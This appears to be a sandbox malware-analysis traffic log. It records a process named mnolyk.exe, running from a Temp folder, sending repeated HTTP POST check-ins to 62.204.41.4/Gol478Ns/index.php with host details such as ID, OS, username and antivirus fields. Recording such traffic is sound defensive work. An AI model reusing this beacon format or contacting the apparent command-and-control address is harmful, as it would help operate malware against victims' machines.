Feb 8, 2023 21:33:44.396612883 CET	703	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:44.460964918 CET	703	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
504	192.168.2.3	50207	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:44.645255089 CET	704	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:44.711065054 CET	704	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
505	192.168.2.3	50208	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:44.891091108 CET	705	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:44.956182957 CET	705	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
506	192.168.2.3	50209	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:45.134670019 CET	706	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:45.201533079 CET	706	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
507	192.168.2.3	50210	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:45.381774902 CET	707	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:45.448935032 CET	707	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
508	192.168.2.3	50211	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:45.625368118 CET	708	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:45.692518950 CET	708	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
509	192.168.2.3	50212	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:45.861932039 CET	709	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:45.931252003 CET	709	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49753	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:29.389091969 CET	252	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:29.453413963 CET	252	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
510	192.168.2.3	50213	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:46.112683058 CET	710	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:46.178411007 CET	710	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
511	192.168.2.3	50214	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:46.359244108 CET	711	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:46.424200058 CET	711	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
512	192.168.2.3	50215	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:46.606174946 CET	712	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:46.670124054 CET	712	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
513	192.168.2.3	50216	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:46.862529039 CET	713	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:46.927639008 CET	713	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
514	192.168.2.3	50217	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:47.101357937 CET	714	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:47.167072058 CET	714	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
515	192.168.2.3	50218	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:47.347487926 CET	715	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:47.412645102 CET	715	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
516	192.168.2.3	50219	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:47.609047890 CET	716	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:47.675343037 CET	716	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
517	192.168.2.3	50220	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:47.855829000 CET	717	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:47.920484066 CET	717	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
518	192.168.2.3	50221	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:48.092669010 CET	718	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:48.156487942 CET	718	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
519	192.168.2.3	50222	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:48.324981928 CET	719	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:48.386904955 CET	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49754	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:29.621346951 CET	253	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:29.685875893 CET	253	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
520	192.168.2.3	50223	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:48.562670946 CET	719	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:48.625063896 CET	720	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
521	192.168.2.3	50224	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:48.800409079 CET	720	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:48.866019011 CET	721	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
522	192.168.2.3	50225	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:49.051203012 CET	721	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:49.116024971 CET	722	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
523	192.168.2.3	50226	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
